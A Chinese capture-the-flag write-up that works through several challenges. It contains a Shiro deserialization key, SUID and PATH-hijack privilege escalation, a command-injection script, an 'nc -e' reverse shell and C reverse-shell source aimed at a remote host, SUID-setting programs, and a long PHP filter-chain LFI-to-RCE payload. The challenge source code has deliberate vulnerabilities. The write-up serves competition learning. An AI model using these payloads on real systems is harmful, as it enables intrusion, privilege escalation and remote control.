ez_java_checkin
Shiro 反序列化,使用 https://github.com/SummerSec/ShiroAttack2
1
| [++] 找到key:kPH+bIxk5D2deZiIxcaaaA==
|
打内存马,发现 flag 没权限读,find 有 SUID
经典的 find SUID 提权
1
| find test -exec whoami \;
|
有个非预期:start.sh里面有flag
独步天下-转生成为镜花水月中的王者
nc 上去直接给shell,flag 没权限读,有出网,无dns,搜一下 SUID
1
2
| $ find / -user root -perm /4000 2>/tmp/err
/bin/nmap
|
nmap 似乎不太正常,会直接执行 ports-alive
1
2
| /tmp $ nmap -h
sh: ports-alive: not found
|
PATH 环境变量不会受到 SUID 影响,可以用来提权,添加 /tmp 目录到 PATH 变量
1
2
3
4
| /tmp $ echo $PATH
/sbin:/usr/sbin:/bin:/usr/bin
export PATH=/tmp:$PATH
|
写入 ports-alive,添加执行权限,再次执行 nmap 将会以 root 权限运行 ports-alive 读到 flag
1
2
3
4
5
6
7
8
9
| /tmp $ cat << EOF > ports-alive
> #!/bin/sh
> cat /flag
> EOF
/tmp $ chmod 777 ports-alive
/tmp $ nmap -h
nmap -h
假作真时真亦假,真作假时假亦真
flag{Everything_is_illusory}/tmp $
|
独步天下-破除虚妄_探见真实
Hint
ports-alive 修正后扫描网段 (ip范围0到100)用基础get包探测获取html
echo -e “GET / HTTP/1.1\r\nHost: 192.168.200.1\r\n\r\n” | nc xx xx
查看 ip
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
| /tmp $ ip a
ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast qlen 1000
link/ether 52:54:00:12:34:56 brd ff:ff:ff:ff:ff:ff
inet 192.168.200.2/24 brd 192.168.200.255 scope global eth0
valid_lft forever preferred_lft forever
inet6 fe80::5054:ff:fe12:3456/64 scope link
valid_lft forever preferred_lft forever
3: sit0@NONE: <NOARP> mtu 1480 qdisc noop qlen 1000
link/sit 0.0.0.0 brd 0.0.0.0
|
上传 fscan 扫描 192.168.200.2/24 网段,扫描速度太快会被杀掉,调整扫描线程不断重试
1
2
3
4
5
6
7
8
9
10
11
12
13
| /tmp $ ./fscan -nobr -np -h 192.168.200.0/24
./fscan -nobr -np -h 192.168.200.0/24
___ _
/ _ \ ___ ___ _ __ __ _ ___| | __
/ /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__| <
\____/ |___/\___|_| \__,_|\___|_|\_\
fscan version: 1.8.2
start infoscan
192.168.200.1:80 open
[ 374.762584] Out of memory: Killed process 97 (fscan) total-vm:734476kB, anon-rss:36484kB, file-rss:4kB, shmem-rss:0kB, UID:1000 pgtables:160kB oom_score_adj:0
Killed
|
发现开放端口
1
2
| 192.168.200.1:80
192.168.200.1:82
|
82 部署了一个上传服务,frp出来看看
上传功能无法使用,ping 功能正常,猜测命令注入,回车绕过,其他特殊字符均被过滤
1
2
3
4
5
6
7
8
9
10
11
| import requests
url = 'http://IP:20082/ping'
data = {
'ip_address': '127.0.0.1\nls / -al'
}
r = requests.post(url, data)
print(r.text)
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
| PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.030 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.039 ms
--- 127.0.0.1 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1000ms
rtt min/avg/max/mdev = 0.030/0.034/0.039/0.007 ms
total 100
drwxr-xr-x 1 root root 4096 Aug 12 15:24 .
drwxr-xr-x 1 root root 4096 Aug 12 15:24 ..
-rwxr-xr-x 1 root root 0 Aug 12 15:24 .dockerenv
drwxr-xr-x 1 ctfuser ctfuser 4096 Aug 12 15:24 app
drwxr-xr-x 1 root root 4096 Jul 21 13:01 bin
drwxr-xr-x 2 root root 4096 Apr 24 2018 boot
drwxr-xr-x 6 root root 360 Aug 12 15:24 dev
drwxr-xr-x 1 root root 4096 Aug 12 15:24 etc
---------- 1 mysql mysql 26 Aug 2 14:12 flag
-rwxrw---- 1 ctf ctf 154 Aug 2 14:12 flag_mini
drwxr-xr-x 1 root root 4096 Jul 21 13:02 home
drwxr-xr-x 1 root root 4096 Jul 21 13:01 lib
drwxr-xr-x 2 root root 4096 Jul 21 13:01 lib32
drwxr-xr-x 1 root root 4096 Jul 21 13:00 lib64
drwxr-xr-x 2 root root 4096 Sep 30 2021 media
drwxr-xr-x 2 root root 4096 Sep 30 2021 mnt
drwxr-xr-x 2 root root 4096 Sep 30 2021 opt
dr-xr-xr-x 1275 root root 0 Aug 12 15:24 proc
drwx------ 2 root root 4096 Sep 30 2021 root
drwxr-xr-x 1 root root 4096 Aug 12 15:28 run
drwxr-xr-x 1 root root 4096 Jul 21 13:01 sbin
drwxr-xr-x 2 root root 4096 Sep 30 2021 srv
dr-xr-xr-x 13 root root 0 Aug 12 15:24 sys
drwxrwxrwt 1 root root 4096 Aug 12 15:24 tmp
drwxr-xr-x 1 root root 4096 Jul 21 13:01 usr
drwxr-xr-x 1 root root 4096 Jul 21 13:00 var
|
flag 没权限读,发现可疑进程 identity
1
| root 487 0.0 0.0 13544 1668 ? S 16:27 0:00 ./identity
|
题目环境
ping.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
| #include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdbool.h>
//gcc -shared -o libping.so ping.c -fPIC
bool validate_input(const char *input) {
const char *invalid_chars[] = {"sh","chown","chmod","echo","+","&", "|", ";", "$", ">", "<", "`", "\\", "\"", "'", "(", ")", "{", "}", "[", "]"};
int num_invalid_chars = sizeof(invalid_chars) / sizeof(char *);
for (int i = 0; i < num_invalid_chars; i++) {
if (strstr(input, invalid_chars[i])) {
return false;
}
}
return true;
}
void ping(const char *ip_address, char *result) {
if (!validate_input(ip_address)) {
strcpy(result, "Error: Invalid input.");
return;
}
char cmd[256];
snprintf(cmd, sizeof(cmd), "ping -c 2 %s", ip_address);
FILE *fp = popen(cmd, "r");
if (fp == NULL) {
strcpy(result, "Error: Failed to execute command.");
return;
}
char buffer[4096*2];
while (fgets(buffer, sizeof(buffer), fp) != NULL) {
strcat(result, buffer);
}
pclose(fp);
}
|
app.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
| import os
import ctypes
import ctypes.util
import time
os.environ['FLASK_ENV'] = 'production'
app = Flask(__name__)
app.config['UPLOAD_FOLDER'] = './'
lib_name='./libping.so'
def load_ping_library():
# 加载共享库
mylib = ctypes.CDLL(lib_name)
return mylib
mylib = load_ping_library()
@app.route('/')
def index():
return render_template('index.html')
@app.route('/ping', methods=['POST'])
def ping():
global mylib
ip_address = request.form['ip_address']
result = ctypes.create_string_buffer(4096*2)
mylib.ping(ip_address.encode('utf-8'), result)
return result.value.decode('utf-8')
@app.route('/upload_avatar', methods=['POST'])
def upload_avatar():
if request.headers.get('X-Forwarded-For') != '127.0.0.1':
return "You are not allowed to upload files from this IP address." + " Your IP is: " + request.headers.get('X-Forwarded-For')
if 'file' not in request.files:
return redirect(request.url)
file = request.files['file']
if file.filename == '':
return redirect(request.url)
if not allowed_file(file.filename):
return 'Invalid file format. Only PNG files are allowed.'
# 限制文件大小为 5KB
MAX_FILE_SIZE = 5 * 1024
if len(file.read()) > MAX_FILE_SIZE:
return 'File too large. Maximum size is 5KB.'
# 将文件保存到服务器
file.seek(0) # 重置文件读取指针
file.save(os.path.join(app.config['UPLOAD_FOLDER'], 'avatar.png'))
return redirect(url_for('index'))
def allowed_file(filename):
return '.' in filename and filename.rsplit('.', 1)[1].lower() == 'png'
if __name__ == '__main__':
app.run(host='0.0.0.0',port=82,debug=False,use_reloader=False)
|
identity.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
| #define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <string.h>
#include <errno.h>
#include <sched.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <linux/seccomp.h>
#include <openssl/md5.h>
#include <sys/resource.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <errno.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <stdint.h>
//gcc -o test1 test1.c -lcrypto -lm -lrt
void init_dir() {
int fd=open("/home/ctf/sandbox/",O_RDONLY);
if(fd<2) {
exit(0);
}
MD5_CTX ctx;
char md5_res[17]="";
char key[100]="NEPCTF_6666";
char sandbox_dir[100]="/home/ctf/sandbox/";
char dir_name[100]="/home/ctf/sandbox/";
FILE *new_pip;
int i;
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
struct rlimit r;
r.rlim_max = r.rlim_cur = 0;
setrlimit(RLIMIT_CORE, &r);
memset(key, 0, sizeof(key));
MD5_Init(&ctx);
MD5_Update(&ctx, key, strlen(key));
MD5_Final(md5_res, &ctx);
for (int i = 0; i < 16; i++)
sprintf(&(dir_name[i*2 + 18]), "%02hhx", md5_res[i]&0xff);
char cmd[100];
mkdir(dir_name, 0755);
if (chdir(dir_name)==-1) {
puts("chdir err, exiting\n");
exit(1);
}
sprintf(cmd,"%s%s","chmod 777 ",dir_name);
system(cmd);
mkdir("bin", 0777);
mkdir("lib", 0777);
mkdir("lib64", 0777);
mkdir("lib/x86_64-linux-gnu", 0777);
system("cp /bin/bash bin/sh");
system("cp /lib/x86_64-linux-gnu/libdl.so.2 lib/x86_64-linux-gnu/");
system("cp /lib/x86_64-linux-gnu/libc.so.6 lib/x86_64-linux-gnu/");
system("cp /lib/x86_64-linux-gnu/libtinfo.so.5 lib/x86_64-linux-gnu/");
system("cp /lib64/ld-linux-x86-64.so.2 lib64/");
if (chroot(".") == -1) {
puts("chroot err, exiting\n");
exit(1);
}
}
void command(int server_socket,int client_socket) {
char buf[0x666];
memset(buf,0,0x666);
write(client_socket,"Tmp-Command:",sizeof("Tmp-Command:"));
read(client_socket, buf, 0x10);
setgid(1001);
setuid(1001);
popen(buf,"w");
}
int get_ip_address(const char *interface_name, char *ip_address) {
int sockfd;
struct ifreq ifr;
// Create a socket
sockfd = socket(AF_INET, SOCK_DGRAM, 0);
if (sockfd < 0) {
perror("Socket creation failed");
return -1;
}
// Set the interface name in the ifreq structure
strncpy(ifr.ifr_name, interface_name, IFNAMSIZ - 1);
ifr.ifr_name[IFNAMSIZ - 1] = '\0';
// Get the IP address using the SIOCGIFADDR ioctl request
if (ioctl(sockfd, SIOCGIFADDR, &ifr) == -1) {
perror("ioctl failed");
close(sockfd);
return -1;
}
close(sockfd);
// Convert the binary IP address to a human-readable string
struct sockaddr_in *addr = (struct sockaddr_in *)&ifr.ifr_addr;
strcpy(ip_address, inet_ntoa(addr->sin_addr));
return 0;
}
int main(int argc, char **argv) {
init_dir();
int flag=1;
// Server setup
int server_socket, client_socket;
struct sockaddr_in server_addr, client_addr;
socklen_t client_len = sizeof(client_addr);
// Create socket
server_socket = socket(AF_INET, SOCK_STREAM, 0);
if (server_socket < 0) {
perror("Socket creation failed");
exit(0);
}
// Set up server address
memset(&server_addr, 0, sizeof(server_addr));
server_addr.sin_family = AF_INET;
server_addr.sin_addr.s_addr = INADDR_ANY;
server_addr.sin_port = htons(9999);
// Bind socket to address and port
if (bind(server_socket, (struct sockaddr *)&server_addr, sizeof(server_addr)) < 0) {
perror("Bind failed");
exit(0);
}
// Listen for incoming connections
if (listen(server_socket, 1) < 0) {
perror("Listen failed");
exit(0);
}
printf("Server is listening on port 9999...\n");
// Accept connection from client
client_socket = accept(server_socket, (struct sockaddr *)&client_addr, &client_len);
if (client_socket < 0) {
client_socket = accept(server_socket, (struct sockaddr *)&client_addr, &client_len);
}
char client_ip[INET_ADDRSTRLEN];
inet_ntop(AF_INET, &client_addr.sin_addr, client_ip, INET_ADDRSTRLEN);
printf("Client connected from IP: %s\n", client_ip);
char ip_address[INET_ADDRSTRLEN];
const char *interface_name = "eth0";
if (get_ip_address(interface_name, ip_address) == 0) {
printf("IP address of eth0: %s\n", ip_address);
} else {
printf("Failed to get the IP address of eth0.\n");
}
while(flag) {
if(strcmp(client_ip,ip_address)) {
send(client_socket,"Only nc by localhost!\n",sizeof("Only nc by localhost!\n"),0);
exit(0);
} else {
flag=0;
}
}
command(server_socket,client_socket);
return 0;
}
|
反弹 shell,使用 ? 绕过
1
2
3
| data = {
'ip_address': '127.0.0.1\nnc IP 9988 -e /bin/bas?'
}
|
打一次就要重启容器(
和 identity 交互拿到shell, 然后 escape chroot jail,因为处于 chroot jail 环境中,没有办法用 /dev 反弹 shell。写一个可执行文件反弹 shell 或者 msf 打都可以
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
| #include <stdio.h>
#include <unistd.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#define REMOTE_ADDR "xxx.xxx.xxx.xxx"
#define REMOTE_PORT 8000
int main(int argc, char *argv[])
{
struct sockaddr_in sa;
int s;
sa.sin_family = AF_INET;
sa.sin_addr.s_addr = inet_addr(REMOTE_ADDR);
sa.sin_port = htons(REMOTE_PORT);
s = socket(AF_INET, SOCK_STREAM, 0);
connect(s, (struct sockaddr *)&sa, sizeof(sa));
dup2(s, 0);
dup2(s, 1);
dup2(s, 2);
execve("/bin/sh", 0, 0);
return 0;
}
|
不断尝试后,发现可以用两个用户 ctfuser 和 ctf 配合读 flag,并没有逃逸出来。首先切换到 jail 的根目录 /home/ctf/sandbox/d41d8cd98f00b204e9800998ecf8427e
写个 suid.c 用于设置 flag 权限
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
| #include <sys/stat.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
int main(int argc, char *argv[])
{
int r = setuid(1001);
if (r != 0) {
printf("setuid failed\n");
return -1;
}
r = chmod("/flag_mini", 0755);
if (r != 0) {
printf("chmod failed\n");
return -1;
}
return 0;
}
|
编译后文件所有者为 ctfuser,需要所有者是 ctf 用户。在 chroot jail中复制可以改变所有者,然后设置 suid
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
| #include <sys/stat.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
int cp(const char *to, const char *from)
{
int fd_to, fd_from;
char buf[4096];
ssize_t nread;
int saved_errno;
fd_from = open(from, O_RDONLY);
if (fd_from < 0)
return -1;
fd_to = open(to, O_WRONLY | O_CREAT | O_EXCL, 0666);
if (fd_to < 0)
goto out_error;
while (nread = read(fd_from, buf, sizeof buf), nread > 0)
{
char *out_ptr = buf;
ssize_t nwritten;
do {
nwritten = write(fd_to, out_ptr, nread);
if (nwritten >= 0)
{
nread -= nwritten;
out_ptr += nwritten;
}
else if (errno != EINTR)
{
goto out_error;
}
} while (nread > 0);
}
if (nread == 0)
{
if (close(fd_to) < 0)
{
fd_to = -1;
goto out_error;
}
close(fd_from);
/* Success! */
return 0;
}
out_error:
saved_errno = errno;
close(fd_from);
if (fd_to >= 0)
close(fd_to);
errno = saved_errno;
return -1;
}
int main(void)
{
int result = cp("/suid_cp4", "/suid");
if (result != 0){
printf("Error: %d\n", errno);
}
chmod("/suid_cp4", 04755);
}
|
执行后,可以看到成功设置了 suid bit 并且所有者为 ctf
使用 chroot jail 外的 ctfuser 用户执行 suid_cp4,此时 flag_mini 已经有可读权限了
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
| ctfuser@12d071a1db69:/home/ctf/sandbox/d41d8cd98f00b204e9800998ecf8427e$ ls -al /
</sandbox/d41d8cd98f00b204e9800998ecf8427e$ ls -al /
total 100
drwxr-xr-x 1 root root 4096 Aug 12 18:11 .
drwxr-xr-x 1 root root 4096 Aug 12 18:11 ..
-rwxr-xr-x 1 root root 0 Aug 12 18:11 .dockerenv
drwxr-xr-x 1 ctfuser ctfuser 4096 Aug 12 18:11 app
drwxr-xr-x 1 root root 4096 Jul 21 13:01 bin
drwxr-xr-x 2 root root 4096 Apr 24 2018 boot
drwxr-xr-x 6 root root 360 Aug 12 18:11 dev
drwxr-xr-x 1 root root 4096 Aug 12 18:11 etc
---------- 1 mysql mysql 26 Aug 2 14:12 flag
-rwxr-xr-x 1 ctf ctf 154 Aug 2 14:12 flag_mini
drwxr-xr-x 1 root root 4096 Jul 21 13:02 home
drwxr-xr-x 1 root root 4096 Jul 21 13:01 lib
drwxr-xr-x 2 root root 4096 Jul 21 13:01 lib32
drwxr-xr-x 1 root root 4096 Jul 21 13:00 lib64
drwxr-xr-x 2 root root 4096 Sep 30 2021 media
drwxr-xr-x 2 root root 4096 Sep 30 2021 mnt
drwxr-xr-x 2 root root 4096 Sep 30 2021 opt
dr-xr-xr-x 732 root root 0 Aug 12 18:11 proc
drwx------ 2 root root 4096 Sep 30 2021 root
drwxr-xr-x 1 root root 4096 Aug 12 18:12 run
drwxr-xr-x 1 root root 4096 Jul 21 13:01 sbin
drwxr-xr-x 2 root root 4096 Sep 30 2021 srv
dr-xr-xr-x 13 root root 0 Aug 12 18:11 sys
drwxrwxrwt 1 root root 4096 Aug 12 19:37 tmp
drwxr-xr-x 1 root root 4096 Jul 21 13:01 usr
drwxr-xr-x 1 root root 4096 Jul 21 13:00 var
ctfuser@12d071a1db69:/home/ctf/sandbox/d41d8cd98f00b204e9800998ecf8427e$ cat /flag_mini
<ox/d41d8cd98f00b204e9800998ecf8427e$ cat /flag_mini
恭喜你成功完成了渗透大师的第一步,但是你不能止步于此,还有一个宝藏在王之宝库!flag{Welcome_The_King_of_Sideways_Escapes}
|
独步天下-破除试炼_加冕成王
应该是打 mysql
打到这个题发现非预期了,独步天下-转生成为镜花水月中的王者 这个题创建路由器的时候会以 root 权限执行 /app/run.sh
/app/run.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
| #!/bin/sh
#sed -i 's/#net.ipv4.ip_forward = 1/net.ipv4.ip_forward = 1/' /etc/sysctl.conf
#!/bin/bash
# 检测并杀死包含 "qemu-system-x86_64" 的进程
processes=$(pgrep qemu-system 2>/dev/null)
if [ -n "$processes" ]; then
kill $processes >/dev/null 2>&1
fi
# 启用IP转发,允许主机充当路由器,为虚拟机提供网络访问。
echo "1" > /proc/sys/net/ipv4/ip_forward
# 创建一个tap设备并启动它
tunctl -t tap0 -u root
ip link set tap0 up
# 创建一个新的网络桥,并将tap设备添加进去
brctl addbr br0
brctl addif br0 tap0
# 给br0分配IP地址
ip addr add 192.168.200.1/24 dev br0
ip link set br0 up
# 启动QEMU虚拟机,并将网络接口连接到tap0
qemu-system-x86_64 \
-m 128M \
-kernel /app/bzImage \
-monitor /dev/null \
-initrd /app/rootfs.cpio \
-append "root=/dev/ram console=ttyS0 oops=panic panic=1 quiet kaslr ip=192.168.200.2::192.168.200.1:255.255.255.0" \
-cpu kvm64,+smep,+smap\
-netdev tap,id=network0,ifname=tap0,script=no,downscript=no \
-device virtio-net-pci,netdev=network0 \
-nographic \
-no-reboot
# 设置NAT,使虚拟机可以访问外部网络
iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
iptables -A FORWARD -i br0 -j ACCEPT
iptables -A FORWARD -o br0 -j ACCEPT
|
并且 run.sh ctfuser 用户具有写权限, 修改读取flag即可
1
2
| cat /flag > /tmp/flag1
cat /flag_mini > /tmp/flag2
|
nc 连接之后,可以看到 flag 已经被复制出来了
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
| ctfuser@12d071a1db69:/tmp$ ls -al
ls -al
total 20
drwxrwxrwt 1 root root 4096 Aug 12 19:56 .
drwxr-xr-x 1 root root 4096 Aug 12 18:11 ..
-rw-r--r-- 1 root root 26 Aug 12 19:56 flag1
-rw-r--r-- 1 root root 154 Aug 12 19:56 flag2
drwx------ 2 mysql mysql 4096 Jul 21 13:02 tmp.vOLX9p2dQG
ctfuser@12d071a1db69:/tmp$ cat /tmp/flag1
cat /tmp/flag1
flag{You_Will_be_royalty}
ctfuser@12d071a1db69:/tmp$ cat /tmp/flag2
cat /tmp/flag2
恭喜你成功完成了渗透大师的第一步,但是你不能止步于此,还有一个宝藏在王之宝库!flag{Welcome_The_King_of_Sideways_Escapes}
|
Ez_include
最近比较热门的用 filterchain 打 LFI2RCE
https://github.com/synacktiv/php_filter_chain_generator
https://book.hacktricks.xyz/pentesting-web/file-inclusion/lfi2rce-via-php-filters#full-script
通过黑盒测试发现题目限制了后缀,而可以读到的文件是中文的,直接用上面的工具打不通,在 filterchain 最前面先 base64 一下就可以了
1
| php://filter/convert.base64-encode|convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=/tmp/resources/2
|
然后用蚁剑连接,密码是 0
上去后发现禁用函数+openbasedir 限制,甚至禁用了 file_get_contents。需要绕过一下,PHP 版本不高,可以用下面这个方法列出根目录
1
